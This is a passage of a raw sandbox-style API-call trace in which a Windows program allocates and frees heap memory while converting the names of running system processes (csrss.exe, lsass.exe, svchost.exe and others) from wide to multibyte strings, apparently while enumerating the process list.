returned 1 [0036.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8320 [0036.468] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8320) returned 1 [0036.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8320 [0036.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x58) returned 0xee5a58 [0036.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e840 [0036.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed82d8 [0036.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csrss.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0036.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8368 [0036.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csrss.exe", cchWideChar=9, lpMultiByteStr=0xed8368, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csrss.exe", lpUsedDefaultChar=0x0) returned 9 [0036.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed83b0 [0036.468] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8368) returned 1 [0036.468] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed83b0) returned 1 [0036.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed83b0 [0036.468] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed83b0) returned 1 [0036.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x58) returned 0xee5ab8 [0036.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0036.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed83b0 [0036.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wininit.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8368 [0036.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wininit.exe", cchWideChar=11, lpMultiByteStr=0xed8368, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wininit.exe", lpUsedDefaultChar=0x0) returned 11 [0036.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed83f8 [0036.468] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8368) returned 1 [0036.468] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed83f8) returned 1 [0036.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed83f8 [0036.468] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed83f8) returned 1 [0036.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x58) returned 0xee5b18 [0036.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e9d8 [0036.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed83f8 [0036.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csrss.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0036.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8368 [0036.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csrss.exe", cchWideChar=9, lpMultiByteStr=0xed8368, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csrss.exe", lpUsedDefaultChar=0x0) returned 9 [0036.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8440 [0036.469] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8368) returned 1 [0036.469] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8440) returned 1 [0036.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8440 [0036.469] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8440) returned 1 [0036.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x58) returned 0xee5b78 [0036.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30ea60 [0036.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8440 [0036.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winlogon.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8368 [0036.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winlogon.exe", cchWideChar=12, lpMultiByteStr=0xed8368, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="winlogon.exe", lpUsedDefaultChar=0x0) returned 12 [0036.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8488 [0036.488] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8368) returned 1 [0036.488] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8488) returned 1 [0036.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8488 [0036.488] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8488) returned 1 [0036.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x58) returned 0xee5bd8 [0036.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30eae8 [0036.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8488 [0036.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8368 [0036.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services.exe", cchWideChar=12, lpMultiByteStr=0xed8368, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services.exe", lpUsedDefaultChar=0x0) returned 12 [0036.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed84d0 [0036.489] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8368) returned 1 [0036.489] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed84d0) returned 1 [0036.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed84d0 [0036.489] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed84d0) returned 1 [0036.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x58) returned 0xee5c38 [0036.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30eb70 [0036.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed84d0 [0036.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0036.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8368 [0036.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0xed8368, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsass.exe", lpUsedDefaultChar=0x0) returned 9 [0036.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8518 [0036.489] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8368) returned 1 [0036.489] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8518) returned 1 [0036.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8518 [0036.489] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8518) returned 1 [0036.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x58) returned 0xee5c98 [0036.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30ebf8 [0036.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8518 [0036.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsm.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0036.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8368 [0036.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsm.exe", cchWideChar=7, lpMultiByteStr=0xed8368, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsm.exe", lpUsedDefaultChar=0x0) returned 7 [0036.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8560 [0036.489] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8368) returned 1 [0036.489] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8560) returned 1 [0036.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8560 [0036.489] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8560) returned 1 [0036.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x58) returned 0xee5cf8 [0036.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30ec80 [0036.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8560 [0036.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8368 [0036.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0xed8368, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0036.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed85a8 [0036.490] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8368) returned 1 [0036.490] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed85a8) returned 1 [0036.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed85a8 [0036.490] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed85a8) returned 1 [0036.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x58) returned 0xee5d58 [0036.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30ed08 [0036.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed85a8 [0036.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8368 [0036.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0xed8368, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0036.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed85f0 [0036.490] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8368) returned 1 [0036.490] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed85f0) returned 1 [0036.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed85f0 [0036.490] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed85f0) returned 1 [0036.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x58) returned 0xee5db8 [0036.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30ed90 [0036.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed85f0 [0036.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8368 [0036.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0xed8368, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0036.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8638 [0036.490] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8368) returned 1 [0036.490] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8638) returned 1 [0036.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8638 [0036.490] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8638) returned 1 [0036.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x58) returned 0xee5e18 [0036.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30ee18 [0036.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8638 [0036.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8368 [0036.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0xed8368, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0036.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8680 [0036.491] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8368) returned 1 [0036.491] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8680) returned 1 [0036.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8680 [0036.491] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8680) returned 1 [0036.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x58) returned 0xee5e78 [0036.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30eea0 [0036.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8680 [0036.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8368 [0036.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0xed8368, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0036.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed86c8 [0036.491] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8368) returned 1 [0036.491] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed86c8) returned 1 [0036.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed86c8 [0036.491] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed86c8) returned 1 [0036.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x58) returned 0xee5ed8 [0036.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30ef28 [0036.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed86c8 [0036.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiodg.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8368 [0036.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiodg.exe", cchWideChar=11, lpMultiByteStr=0xed8368, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiodg.exe", lpUsedDefaultChar=0x0) returned 11 [0036.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8710 [0036.491] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8368) returned 1 [0036.491] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8710) returned 1 [0036.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8710 [0036.491] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8710) returned 1 [0036.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x58) returned 0xee5f38 [0036.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30efb0 [0036.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8710 [0036.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8368 [0036.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0xed8368, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0036.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8758 [0036.492] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8368) returned 1 [0036.492] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8758) returned 1 [0036.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8758 [0036.492] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8758) returned 1 [0036.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x58) returned 0xee5f98 [0036.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f038 [0036.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8758 [0036.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8368 [0036.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0xed8368, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0036.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed87a0 [0036.492] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8368) returned 1 [0036.492] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed87a0) returned 1 [0036.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed87a0 [0036.492] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed87a0) returned 1 [0036.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x58) returned 0xee5ff8 [0036.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f0c0 [0036.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed87a0 [0036.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dwm.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0036.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8368 [0036.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dwm.exe", cchWideChar=7, lpMultiByteStr=0xed8368, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dwm.exe", lpUsedDefaultChar=0x0) returned 7 [0036.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed87e8 [0036.492] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8368) returned 1 [0036.492] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed87e8) returned 1 [0036.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed87e8 [0036.492] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed87e8) returned 1 [0036.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f148 [0036.492] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8320) returned 1 [0036.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x58) returned 0xed2868 [0036.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f1d0 [0036.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8320 [0036.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed87e8 [0036.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer.exe", cchWideChar=12, lpMultiByteStr=0xed87e8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer.exe", lpUsedDefaultChar=0x0) returned 12 [0036.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8368 [0036.493] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed87e8) returned 1 [0036.493] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8368) returned 1 [0036.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8368 [0036.493] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8368) returned 1 [0036.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x58) returned 0xed28c8 [0036.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0036.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8368 [0036.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spoolsv.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed87e8 [0036.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spoolsv.exe", cchWideChar=11, lpMultiByteStr=0xed87e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="spoolsv.exe", lpUsedDefaultChar=0x0) returned 11 [0036.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8830 [0036.493] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed87e8) returned 1 [0036.493] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8830) returned 1 [0036.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8830 [0036.493] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8830) returned 1 [0036.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x58) returned 0xed2928 [0036.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f2e0 [0036.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8830 [0036.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="taskhost.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) 